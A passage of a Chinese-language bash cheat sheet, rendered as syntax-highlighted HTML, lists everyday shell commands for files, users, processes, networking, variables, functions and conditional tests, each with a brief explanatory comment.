class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 目录操作</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span>                  <span class="comment"># 返回自己 $HOME 目录</span></span><br><span class="line"><span class="built_in">cd</span> &#123;dirname&#125;        <span class="comment"># 进入目录</span></span><br><span class="line"><span class="built_in">pwd</span>                 <span class="comment"># 显示当前所在目录</span></span><br><span class="line">mkdir &#123;dirname&#125;     <span class="comment"># 创建目录</span></span><br><span class="line">mkdir -p &#123;dirname&#125;  <span class="comment"># 递归创建目录</span></span><br><span class="line"><span class="built_in">pushd</span> &#123;dirname&#125;     <span class="comment"># 目录压栈并进入新目录</span></span><br><span class="line"><span class="built_in">popd</span>                <span class="comment"># 弹出并进入栈顶的目录</span></span><br><span class="line"><span class="built_in">dirs</span> -v             <span class="comment"># 列出当前目录栈</span></span><br><span class="line"><span class="built_in">cd</span> -                <span class="comment"># 回到之前的目录</span></span><br><span class="line"><span class="built_in">cd</span> -&#123;N&#125;             <span class="comment"># 切换到目录栈中的第 N个目录，比如 cd -2 将切换到第二个</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 文件操作</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">ls                  <span class="comment"># 显示当前目录内容，后面可接目录名：ls &#123;dir&#125; 显示指定目录</span></span><br><span class="line">ls -l               <span class="comment"># 列表方式显示目录内容，包括文件日期，大小，权限等信息</span></span><br><span class="line">ls -1               <span class="comment"># 列表方式显示目录内容，只显示文件名称，减号后面是数字 1</span></span><br><span class="line">ls -a               <span class="comment"># 显示所有文件和目录，包括隐藏文件（.开头的文件/目录名）</span></span><br><span class="line">ln -s &#123;fn&#125; &#123;link&#125;   <span class="comment"># 给指定文件创建一个软链接</span></span><br><span class="line">cp &#123;src&#125; &#123;dest&#125;     <span class="comment"># 拷贝文件，cp -r dir1 dir2 可以递归拷贝（目录）</span></span><br><span class="line">rm &#123;fn&#125;             <span class="comment"># 删除文件，rm -r 递归删除目录，rm -f 强制删除</span></span><br><span class="line">mv &#123;src&#125; &#123;dest&#125;     <span class="comment"># 移动文件，如果 dest 是目录，则移动，是文件名则覆盖</span></span><br><span class="line">touch &#123;fn&#125;          <span class="comment"># 创建或者更新一下制定文件</span></span><br><span class="line">cat &#123;fn&#125;            <span class="comment"># 输出文件原始内容</span></span><br><span class="line">any_cmd &gt; &#123;fn&#125;      <span class="comment"># 执行任意命令并将标准输出重定向到指定文件</span></span><br><span class="line">more &#123;fn&#125;           <span class="comment"># 逐屏显示某文件内容，空格翻页，q 退出</span></span><br><span class="line">less &#123;fn&#125;           <span class="comment"># 更高级点的 more，更多操作，q 退出</span></span><br><span class="line">head &#123;fn&#125;           <span class="comment"># 显示文件头部数行，可用 head -3 abc.txt 显示头三行</span></span><br><span class="line">tail &#123;fn&#125;           <span class="comment"># 显示文件尾部数行，可用 tail -3 abc.txt 显示尾部三行</span></span><br><span class="line">tail -f &#123;fn&#125;        <span class="comment"># 持续显示文件尾部数据，可用于监控日志</span></span><br><span class="line">nano &#123;fn&#125;           <span class="comment"># 使用 nano 编辑器编辑文件</span></span><br><span class="line">vim &#123;fn&#125;            <span class="comment"># 使用 vim 编辑文件</span></span><br><span class="line">diff &#123;f1&#125; &#123;f2&#125;      <span class="comment"># 比较两个文件的内容</span></span><br><span class="line">wc &#123;fn&#125;             <span class="comment"># 统计文件有多少行，多少个单词</span></span><br><span class="line">chmod 644 &#123;fn&#125;      <span class="comment"># 修改文件权限为 644，可以接 -R 对目录循环改权限</span></span><br><span class="line">chgrp group &#123;fn&#125;    <span class="comment"># 修改文件所属的用户组</span></span><br><span class="line">chown user1 &#123;fn&#125;    <span class="comment"># 修改文件所有人为 user1, chown user1:group1 fn 可以修改组</span></span><br><span class="line">file &#123;fn&#125;           <span class="comment"># 检测文件的类型和编码</span></span><br><span class="line">basename &#123;fn&#125;       <span class="comment"># 查看文件的名字（不包括路径）</span></span><br><span class="line">dirname &#123;fn&#125;        <span class="comment"># 查看文件的路径（不包括名字）</span></span><br><span class="line">grep &#123;pat&#125; &#123;fn&#125;     <span class="comment"># 在文件中查找出现过 pat 的内容</span></span><br><span class="line">grep -r &#123;pat&#125; .     <span class="comment"># 在当前目录下递归查找所有出现过 pat 的文件内容</span></span><br><span class="line"><span class="built_in">stat</span> &#123;fn&#125;           <span class="comment"># 显示文件的详细信息</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 用户管理</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">whoami              <span class="comment"># 显示我的用户名</span></span><br><span class="line">who                 <span class="comment"># 显示已登陆用户信息，w / who / users 内容略有不同</span></span><br><span class="line">w                   <span class="comment"># 显示已登陆用户信息，w / who / users 内容略有不同</span></span><br><span class="line">users               <span class="comment"># 显示已登陆用户信息，w / who / users 内容略有不同</span></span><br><span class="line">passwd              <span class="comment"># 修改密码，passwd &#123;user&#125; 可以用于 root 修改别人密码</span></span><br><span class="line">finger &#123;user&#125;       <span class="comment"># 显示某用户信息，包括 id, 名字, 登陆状态等</span></span><br><span class="line">adduser &#123;user&#125;      <span class="comment"># 添加用户</span></span><br><span class="line">deluser &#123;user&#125;      <span class="comment"># 删除用户</span></span><br><span class="line">w                   <span class="comment"># 查看谁在线</span></span><br><span class="line">su                  <span class="comment"># 切换到 root 用户</span></span><br><span class="line">su -                <span class="comment"># 切换到 root 用户并登陆（执行登陆脚本）</span></span><br><span class="line">su &#123;user&#125;           <span class="comment"># 切换到某用户</span></span><br><span class="line">su -&#123;user&#125;          <span class="comment"># 切换到某用户并登陆（执行登陆脚本）</span></span><br><span class="line">id &#123;user&#125;           <span class="comment"># 查看用户的 uid，gid 以及所属其他用户组</span></span><br><span class="line">id -u &#123;user&#125;        <span class="comment"># 打印用户 uid</span></span><br><span class="line">id -g &#123;user&#125;        <span class="comment"># 打印用户 gid</span></span><br><span class="line">write &#123;user&#125;        <span class="comment"># 向某用户发送一句消息</span></span><br><span class="line">last                <span class="comment"># 显示最近用户登陆列表</span></span><br><span class="line">last &#123;user&#125;         <span class="comment"># 显示登陆记录</span></span><br><span class="line">lastb               <span class="comment"># 显示失败登陆记录</span></span><br><span class="line">lastlog             <span class="comment"># 显示所有用户的最近登陆记录</span></span><br><span class="line">sudo &#123;<span class="built_in">command</span>&#125;      <span class="comment"># 以 root 权限执行某命令</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 进程管理</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">ps                        <span class="comment"># 查看当前会话进程</span></span><br><span class="line">ps ax                     <span class="comment"># 查看所有进程，类似 ps -e</span></span><br><span class="line">ps aux                    <span class="comment"># 查看所有进程详细信息，类似 ps -ef</span></span><br><span class="line">ps auxww                  <span class="comment"># 查看所有进程，并且显示进程的完整启动命令</span></span><br><span class="line">ps -u &#123;user&#125;              <span class="comment"># 查看某用户进程</span></span><br><span class="line">ps axjf                   <span class="comment"># 列出进程树</span></span><br><span class="line">ps xjf -u &#123;user&#125;          <span class="comment"># 列出某用户的进程树</span></span><br><span class="line">ps -eo pid,user,<span class="built_in">command</span>   <span class="comment"># 按用户指定的格式查看进程</span></span><br><span class="line">ps aux | grep httpd       <span class="comment"># 查看名为 httpd 的所有进程</span></span><br><span class="line">ps --ppid &#123;pid&#125;           <span class="comment"># 查看父进程为 pid 的所有进程</span></span><br><span class="line">pstree                    <span class="comment"># 树形列出所有进程，pstree 默认一般不带，需安装</span></span><br><span class="line">pstree &#123;user&#125;             <span class="comment"># 进程树列出某用户的进程</span></span><br><span class="line">pstree -u                 <span class="comment"># 树形列出所有进程以及所属用户</span></span><br><span class="line">pgrep &#123;procname&#125;          <span class="comment"># 搜索名字匹配的进程的 pid，比如 pgrep apache2</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">kill</span> &#123;pid&#125;                <span class="comment"># 结束进程</span></span><br><span class="line"><span class="built_in">kill</span> -9 &#123;pid&#125;             <span class="comment"># 强制结束进程，9/SIGKILL 是强制不可捕获结束信号</span></span><br><span class="line"><span class="built_in">kill</span> -KILL &#123;pid&#125;          <span class="comment"># 强制执行进程，kill -9 的另外一种写法</span></span><br><span class="line"><span class="built_in">kill</span> -l                   <span class="comment"># 查看所有信号</span></span><br><span class="line"><span class="built_in">kill</span> -l TERM              <span class="comment"># 查看 TERM 信号的编号</span></span><br><span class="line">killall &#123;procname&#125;        <span class="comment"># 按名称结束所有进程</span></span><br><span class="line">pkill &#123;procname&#125;          <span class="comment"># 按名称结束进程，除名称外还可以有其他参数</span></span><br><span class="line"></span><br><span class="line">top                       <span class="comment"># 查看最活跃的进程</span></span><br><span class="line">top -u &#123;user&#125;             <span class="comment"># 查看某用户最活跃的进程</span></span><br><span class="line"></span><br><span class="line">any_command &amp;             <span class="comment"># 在后台运行某命令，也可用 CTRL+Z 将当前进程挂到后台</span></span><br><span class="line"><span class="built_in">jobs</span>                      <span class="comment"># 查看所有后台进程（jobs）</span></span><br><span class="line"><span class="built_in">bg</span>                        <span class="comment"># 查看后台进程，并切换过去</span></span><br><span class="line"><span class="built_in">fg</span>                        <span class="comment"># 切换后台进程到前台</span></span><br><span class="line"><span class="built_in">fg</span> &#123;job&#125;                  <span class="comment"># 切换特定后台进程到前台</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">trap</span> cmd sig1 sig2        <span class="comment"># 在脚本中设置信号处理命令</span></span><br><span class="line"><span class="built_in">trap</span> <span class="string">""</span> sig1 sig2         <span class="comment"># 在脚本中屏蔽某信号</span></span><br><span class="line"><span class="built_in">trap</span> - sig1 sig2          <span class="comment"># 恢复默认信号处理行为</span></span><br><span class="line"></span><br><span class="line">nohup &#123;<span class="built_in">command</span>&#125;           <span class="comment"># 长期运行某程序，在你退出登陆都保持它运行</span></span><br><span class="line">nohup &#123;<span class="built_in">command</span>&#125; &amp;         <span class="comment"># 在后台长期运行某程序</span></span><br><span class="line"><span class="built_in">disown</span> &#123;PID|JID&#125;          <span class="comment"># 将进程从后台任务列表（jobs）移除</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">wait</span>                      <span class="comment"># 等待所有后台进程任务结束</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 常用命令：SSH / 系统信息 / 网络</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">ssh user@host             <span class="comment"># 以用户 user 登陆到远程主机 host</span></span><br><span class="line">ssh -p &#123;port&#125; user@host   <span class="comment"># 指定端口登陆主机</span></span><br><span class="line">ssh-copy-id user@host     <span class="comment"># 拷贝你的 ssh key 到远程主机，避免重复输入密码</span></span><br><span class="line">scp &#123;fn&#125; user@host:path   <span class="comment"># 拷贝文件到远程主机</span></span><br><span class="line">scp user@host:path dest   <span class="comment"># 从远程主机拷贝文件回来</span></span><br><span class="line">scp -P &#123;port&#125; ...         <span class="comment"># 指定端口远程拷贝文件</span></span><br><span class="line"></span><br><span class="line">uname -a                  <span class="comment"># 查看内核版本等信息</span></span><br><span class="line">man &#123;<span class="built_in">help</span>&#125;                <span class="comment"># 查看帮助</span></span><br><span class="line">man -k &#123;keyword&#125;          <span class="comment"># 查看哪些帮助文档里包含了该关键字</span></span><br><span class="line">info &#123;<span class="built_in">help</span>&#125;               <span class="comment"># 查看 info pages，比 man 更强的帮助系统</span></span><br><span class="line">uptime                    <span class="comment"># 查看系统启动时间</span></span><br><span class="line">date                      <span class="comment"># 显示日期</span></span><br><span class="line">cal                       <span class="comment"># 显示日历</span></span><br><span class="line">vmstat                    <span class="comment"># 显示内存和 CPU 使用情况</span></span><br><span class="line">vmstat 10                 <span class="comment"># 每 10 秒打印一行内存和 CPU情况，CTRL+C 退出</span></span><br><span class="line">free                      <span class="comment"># 显示内存和交换区使用情况</span></span><br><span class="line">df                        <span class="comment"># 显示磁盘使用情况</span></span><br><span class="line">du                        <span class="comment"># 显示当前目录占用，du . --max-depth=2 可以指定深度</span></span><br><span class="line">uname                     <span class="comment"># 显示系统版本号</span></span><br><span class="line">hostname                  <span class="comment"># 显示主机名称</span></span><br><span class="line">showkey -a                <span class="comment"># 查看终端发送的按键编码</span></span><br><span class="line"></span><br><span class="line">ping &#123;host&#125;               <span class="comment"># ping 远程主机并显示结果，CTRL+C 退出</span></span><br><span class="line">ping -c N &#123;host&#125;          <span class="comment"># ping 远程主机 N 次</span></span><br><span class="line">traceroute &#123;host&#125;         <span class="comment"># 侦测路由连通情况</span></span><br><span class="line">mtr &#123;host&#125;                <span class="comment"># 高级版本 traceroute</span></span><br><span class="line">host &#123;domain&#125;             <span class="comment"># DNS 查询，&#123;domain&#125; 前面可加 -a 查看详细信息</span></span><br><span class="line">whois &#123;domain&#125;            <span class="comment"># 取得域名 whois 信息</span></span><br><span class="line">dig &#123;domain&#125;              <span class="comment"># 取得域名 dns 信息</span></span><br><span class="line">route -n                  <span class="comment"># 查看路由表</span></span><br><span class="line">netstat -a                <span class="comment"># 列出所有端口</span></span><br><span class="line">netstat -an               <span class="comment"># 查看所有连接信息，不解析域名</span></span><br><span class="line">netstat -anp              <span class="comment"># 查看所有连接信息，包含进程信息（需要 sudo）</span></span><br><span class="line">netstat -l                <span class="comment"># 查看所有监听的端口</span></span><br><span class="line">netstat -t                <span class="comment"># 查看所有 TCP 链接</span></span><br><span class="line">netstat -lntu             <span class="comment"># 显示所有正在监听的 TCP 和 UDP 信息</span></span><br><span class="line">netstat -lntup            <span class="comment"># 显示所有正在监听的 socket 及进程信息</span></span><br><span class="line">netstat -i                <span class="comment"># 显示网卡信息</span></span><br><span class="line">netstat -rn               <span class="comment"># 显示当前系统路由表，同 route -n</span></span><br><span class="line">ss -an                    <span class="comment"># 比 netstat -an 更快速更详细</span></span><br><span class="line">ss -s                     <span class="comment"># 统计 TCP 的 established, wait 等</span></span><br><span class="line"></span><br><span class="line">wget &#123;url&#125;                <span class="comment"># 下载文件，可加 --no-check-certificate 忽略 ssl 验证</span></span><br><span class="line">wget -qO- &#123;url&#125;           <span class="comment"># 下载文件并输出到标准输出（不保存）</span></span><br><span class="line">curl -sL &#123;url&#125;            <span class="comment"># 同 wget -qO- &#123;url&#125; 没有 wget 的时候使用</span></span><br><span class="line"></span><br><span class="line">sz &#123;file&#125;                 <span class="comment"># 发送文件到终端，zmodem 协议</span></span><br><span class="line">rz                        <span class="comment"># 接收终端发送过来的文件</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 变量操作</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">varname=value             <span class="comment"># 定义变量</span></span><br><span class="line">varname=value <span class="built_in">command</span>     <span class="comment"># 定义子进程变量并执行子进程</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$varname</span>             <span class="comment"># 查看变量内容</span></span><br><span class="line"><span class="built_in">echo</span> $$                   <span class="comment"># 查看当前 shell 的进程号</span></span><br><span class="line"><span class="built_in">echo</span> $!                   <span class="comment"># 查看最近调用的后台任务进程号</span></span><br><span class="line"><span class="built_in">echo</span> $?                   <span class="comment"># 查看最近一条命令的返回码</span></span><br><span class="line"><span class="built_in">export</span> VARNAME=value      <span class="comment"># 设置环境变量（将会影响到子进程）</span></span><br><span class="line"></span><br><span class="line">array[0]=valA             <span class="comment"># 定义数组</span></span><br><span class="line">array[1]=valB</span><br><span class="line">array[2]=valC</span><br><span class="line">array=([0]=valA [1]=valB [2]=valC)   <span class="comment"># 另一种方式</span></span><br><span class="line">array=(valA valB valC)               <span class="comment"># 另一种方式</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$&#123;array[i]&#125;</span>               <span class="comment"># 取得数组中的元素</span></span><br><span class="line"><span class="variable">$&#123;#array[@]&#125;</span>              <span class="comment"># 取得数组的长度</span></span><br><span class="line"><span class="variable">$&#123;#array[i]&#125;</span>              <span class="comment"># 取得数组中某个变量的长度</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">declare</span> -a                <span class="comment"># 查看所有数组</span></span><br><span class="line"><span class="built_in">declare</span> -f                <span class="comment"># 查看所有函数</span></span><br><span class="line"><span class="built_in">declare</span> -F                <span class="comment"># 查看所有函数，仅显示函数名</span></span><br><span class="line"><span class="built_in">declare</span> -i                <span class="comment"># 查看所有整数</span></span><br><span class="line"><span class="built_in">declare</span> -r                <span class="comment"># 查看所有只读变量</span></span><br><span class="line"><span class="built_in">declare</span> -x                <span class="comment"># 查看所有被导出成环境变量的东西</span></span><br><span class="line"><span class="built_in">declare</span> -p varname        <span class="comment"># 输出变量是怎么定义的（类型+值）</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$&#123;varname:-word&#125;</span>          <span class="comment"># 如果变量不为空则返回变量，否则返回 word</span></span><br><span class="line"><span class="variable">$&#123;varname:=word&#125;</span>          <span class="comment"># 如果变量不为空则返回变量，否则赋值成 word 并返回</span></span><br><span class="line"><span class="variable">$&#123;varname:?message&#125;</span>       <span class="comment"># 如果变量不为空则返回变量，否则打印错误信息并退出</span></span><br><span class="line"><span class="variable">$&#123;varname:+word&#125;</span>          <span class="comment"># 如果变量不为空则返回 word，否则返回 null</span></span><br><span class="line"><span class="variable">$&#123;varname:offset:len&#125;</span>     <span class="comment"># 取得字符串的子字符串</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$&#123;variable#pattern&#125;</span>       <span class="comment"># 如果变量头部匹配 pattern，则删除最小匹配部分返回剩下的</span></span><br><span class="line"><span class="variable">$&#123;variable##pattern&#125;</span>      <span class="comment"># 如果变量头部匹配 pattern，则删除最大匹配部分返回剩下的</span></span><br><span class="line"><span class="variable">$&#123;variable%pattern&#125;</span>       <span class="comment"># 如果变量尾部匹配 pattern，则删除最小匹配部分返回剩下的</span></span><br><span class="line"><span class="variable">$&#123;variable%%pattern&#125;</span>      <span class="comment"># 如果变量尾部匹配 pattern，则删除最大匹配部分返回剩下的</span></span><br><span class="line"><span class="variable">$&#123;variable/pattern/str&#125;</span>   <span class="comment"># 将变量中第一个匹配 pattern 的替换成 str，并返回</span></span><br><span class="line"><span class="variable">$&#123;variable//pattern/str&#125;</span>  <span class="comment"># 将变量中所有匹配 pattern 的地方替换成 str 并返回</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$&#123;#varname&#125;</span>               <span class="comment"># 返回字符串长度</span></span><br><span class="line"></span><br><span class="line">*(patternlist)            <span class="comment"># 零次或者多次匹配</span></span><br><span class="line">+(patternlist)            <span class="comment"># 一次或者多次匹配</span></span><br><span class="line">?(patternlist)            <span class="comment"># 零次或者一次匹配</span></span><br><span class="line">@(patternlist)            <span class="comment"># 单词匹配</span></span><br><span class="line">!(patternlist)            <span class="comment"># 不匹配</span></span><br><span class="line"></span><br><span class="line">array=(<span class="variable">$text</span>)             <span class="comment"># 按空格分隔 text 成数组，并赋值给变量</span></span><br><span class="line">IFS=<span class="string">"/"</span> array=(<span class="variable">$text</span>)     <span class="comment"># 按斜杆分隔字符串 text 成数组，并赋值给变量</span></span><br><span class="line">text=<span class="string">"<span class="variable">$&#123;array[*]&#125;</span>"</span>        <span class="comment"># 用空格链接数组并赋值给变量</span></span><br><span class="line">text=$(IFS=/; <span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;array[*]&#125;</span>"</span>)  <span class="comment"># 用斜杠链接数组并赋值给变量</span></span><br><span class="line"></span><br><span class="line">A=( foo bar <span class="string">"a  b c"</span> 42 ) <span class="comment"># 数组定义</span></span><br><span class="line">B=(<span class="string">"<span class="variable">$&#123;A[@]:1:2&#125;</span>"</span>)         <span class="comment"># 数组切片：B=( bar "a  b c" )</span></span><br><span class="line">C=(<span class="string">"<span class="variable">$&#123;A[@]:1&#125;</span>"</span>)           <span class="comment"># 数组切片：C=( bar "a  b c" 42 )</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;B[@]&#125;</span>"</span>            <span class="comment"># bar a  b c</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;B[1]&#125;</span>"</span>            <span class="comment"># a  b c</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;C[@]&#125;</span>"</span>            <span class="comment"># bar a  b c 42</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;C[@]: -2:2&#125;</span>"</span>      <span class="comment"># a  b c 42  减号前的空格是必须的</span></span><br><span class="line"></span><br><span class="line">$(UNIX <span class="built_in">command</span>)           <span class="comment"># 运行命令，并将标准输出内容捕获并返回</span></span><br><span class="line">varname=$(id -u user)     <span class="comment"># 将用户名为 user 的 uid 赋值给 varname 变量</span></span><br><span class="line"></span><br><span class="line">num=$(expr 1 + 2)         <span class="comment"># 兼容 posix sh 的计算，使用 expr 命令计算结果</span></span><br><span class="line">num=$(expr <span class="variable">$num</span> + 1)      <span class="comment"># 数字自增</span></span><br><span class="line">expr 2 \* \( 2 + 3 \)     <span class="comment"># 兼容 posix sh 的复杂计算，输出 10</span></span><br><span class="line"></span><br><span class="line">num=$((1 + 2))            <span class="comment"># 计算 1+2 赋值给 num，使用 bash 独有的 $((..)) 计算</span></span><br><span class="line">num=$((<span class="variable">$num</span> + 1))         <span class="comment"># 变量递增</span></span><br><span class="line">num=$((num + 1))          <span class="comment"># 变量递增，双括号内的 $ 可以省略</span></span><br><span class="line">num=$((1 + (2 + 3) * 2))  <span class="comment"># 复杂计算</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 事件指示符</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">!!                  <span class="comment"># 上一条命令</span></span><br><span class="line">!^                  <span class="comment"># 上一条命令的第一个单词</span></span><br><span class="line">!:n                 <span class="comment"># 上一条命令的第n个单词</span></span><br><span class="line">!:n-$               <span class="comment"># 上一条命令的第n个单词到最后一个单词</span></span><br><span class="line">!$                  <span class="comment"># 上一条命令的最后一个单词</span></span><br><span class="line">!-n:$               <span class="comment"># 上n条命令的最后一个单词</span></span><br><span class="line">!string             <span class="comment"># 最近一条包含string的命令</span></span><br><span class="line">!^string1^string2   <span class="comment"># 最近一条包含string1的命令, 快速替换string1为string2</span></span><br><span class="line">!<span class="comment">#                  # 本条命令之前所有的输入内容</span></span><br><span class="line">!<span class="comment">#:n                # 本条命令之前的第n个单词, 快速备份cp /etc/passwd !#:1.bak</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 函数</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义一个新函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="function"><span class="title">myfunc</span></span>() &#123;</span><br><span class="line">    <span class="comment"># $1 代表第一个参数，$N 代表第 N 个参数</span></span><br><span class="line">    <span class="comment"># $# 代表参数个数</span></span><br><span class="line">    <span class="comment"># $0 代表被调用者自身的名字</span></span><br><span class="line">    <span class="comment"># $@ 代表所有参数，类型是个数组，想传递所有参数给其他命令用 cmd "$@" </span></span><br><span class="line">    <span class="comment"># $* 空格链接起来的所有参数，类型是字符串</span></span><br><span class="line">    &#123;shell commands ...&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">myfunc                    <span class="comment"># 调用函数 myfunc </span></span><br><span class="line">myfunc arg1 arg2 arg3     <span class="comment"># 带参数的函数调用</span></span><br><span class="line">myfunc <span class="string">"<span class="variable">$@</span>"</span>               <span class="comment"># 将所有参数传递给函数</span></span><br><span class="line">myfunc <span class="string">"<span class="variable">$&#123;array[@]&#125;</span>"</span>      <span class="comment"># 将一个数组当作多个参数传递给函数</span></span><br><span class="line"><span class="built_in">shift</span>                     <span class="comment"># 参数左移</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">unset</span> -f myfunc           <span class="comment"># 删除函数</span></span><br><span class="line"><span class="built_in">declare</span> -f                <span class="comment"># 列出函数定义</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 条件判断（兼容 posix sh 的条件判断）：man test</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">statement1 &amp;&amp; statement2  <span class="comment"># and 操作符</span></span><br><span class="line">statement1 || statement2  <span class="comment"># or 操作符</span></span><br><span class="line"></span><br><span class="line">exp1 -a exp2              <span class="comment"># exp1 和 exp2 同时为真时返回真（POSIX XSI扩展）</span></span><br><span class="line">exp1 -o exp2              <span class="comment"># exp1 和 exp2 有一个为真就返回真（POSIX XSI扩展）</span></span><br><span class="line">( expression )            <span class="comment"># 如果 expression 为真时返回真，输入注意括号前反斜杆</span></span><br><span class="line">! expression              <span class="comment"># 如果 expression 为假那返回真</span></span><br><span class="line"></span><br><span class="line">str1 = str2               <span class="comment"># 判断字符串相等，如 [ "$x" = "$y" ] &amp;&amp; echo yes</span></span><br><span class="line">str1 != str2              <span class="comment"># 判断字符串不等，如 [ "$x" != "$y" ] &amp;&amp; echo yes</span></span><br><span class="line">str1 &lt; str2               <span class="comment"># 字符串小于，如 [ "$x" \&lt; "$y" ] &amp;&amp; echo yes</span></span><br><span class="line">str2 &gt; str2               <span class="comment"># 字符串大于，注意 &lt; 或 &gt; 是字面量，输入时要加反斜杆</span></span><br><span class="line">-n str1                   <span class="comment"># 判断字符串不为空（长度大于零）</span></span><br><span class="line">-z str1                   <span class="comment"># 判断字符串为空（长度等于零）</span></span><br><span class="line"></span><br><span class="line">-a file                   <span class="comment"># 判断文件存在，如 [ -a /tmp/abc ] &amp;&amp; echo "exists"</span></span><br><span class="line">-d file                   <span class="comment"># 判断文件存在，且该文件是一个目录</span></span><br><span class="line">-e file                   <span class="comment"># 判断文件存在，和 -a 等价</span></span><br><span class="line">-f file                   <span class="comment"># 判断文件存在，且该文件是一个普通文件（非目录等）</span></span><br><span class="line">-r file                   <span class="comment"># 判断文件存在，且可读</span></span><br><span class="line">-s file                   <span class="comment"># 判断文件存在，且尺寸大于0</span></span><br><span class="line">-w file                   <span class="comment"># 判断文件存在，且可写</span></span><br><span class="line">-x file                   <span class="comment"># 判断文件存在，且执行</span></span><br><span class="line">-N file                   <span class="comment"># 文件上次修改过后还没有读取过</span></span><br><span class="line">-O file                   <span class="comment"># 文件存在且属于当前用户</span></span><br><span class="line">-G file                   <span class="comment"># 文件存在且匹配你的用户组</span></span><br><span class="line">file1 -nt file2           <span class="comment"># 文件1 比 文件2 新</span></span><br><span class="line">file1 -ot file2           <span class="comment"># 文件1 比 文件2 旧</span></span><br><span class="line"></span><br><span class="line">num1 -eq num2             <span class="comment"># 数字判断：num1 == num2</span></span><br><span class="line">num1 -ne num2             <span class="comment"># 数字判断：num1 != num2</span></span><br><span class="line">num1 -lt num2             <span class="comment"># 数字判断：num1 &lt; num2</span></span><br><span class="line">num1 -le num2             <span class="comment"># 数字判断：num1 &lt;= num2</span></span><br><span class="line">num1 -gt num2             <span class="comment"># 数字判断：num1 &gt; num2</span></span><br><span class="line">num1 -ge num2             <span class="comment"># 数字判断：num1 &gt;= num2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 分支控制：if 和经典 test，兼容 posix sh 的条件判断语句</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">test</span> &#123;expression&#125;         <span class="comment"># 判断条件为真的话 test 程序返回0 否则非零</span></span><br><span class="line">[ expression ]            <span class="comment"># 判断条件为真的话返回0 否则非零</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">test</span> <span class="string">"abc"</span> = <span class="string">"def"</span>        <span class="comment"># 查看返回值 echo $? 显示 1，因为条件为假</span></span><br><span class="line"><span class="built_in">test</span> <span class="string">"abc"</span> != <span class="string">"def"</span>       <span class="comment"># 查看返回值 echo $? 显示 0，因为条件为真</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">test</span> -a /tmp; <span class="built_in">echo</span> $?     <span class="comment"># 调用 test 判断 /tmp 是否存在，并打印 test 的返回值</span></span><br><span class="line">[ -a /tmp ]; <span class="built_in">echo</span> $?      <span class="comment"># 和上面完全等价，/tmp 肯定是存在的，所以输出是 0</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">test</span> cond &amp;&amp; cmd1         <span class="comment"># 判断条件为真时执行 cmd1</span></span><br><span class="line">[ cond ] &amp;&amp; cmd1          <span class="comment"># 和上面完全等价</span></span><br><span class="line">[ cond ] &amp;&amp; cmd1 || cmd2  <span class="comment"># 条件为真执行 cmd1 否则执行 cmd2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断 /etc/passwd 文件是否存在</span></span><br><span class="line"><span class="comment"># 经典的 if 语句就是判断后面的命令返回值为0的话，认为条件为真，否则为假</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">test</span> -e /etc/passwd; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"alright it exists ... "</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"it doesn't exist ... "</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 和上面完全等价，[ 是个和 test 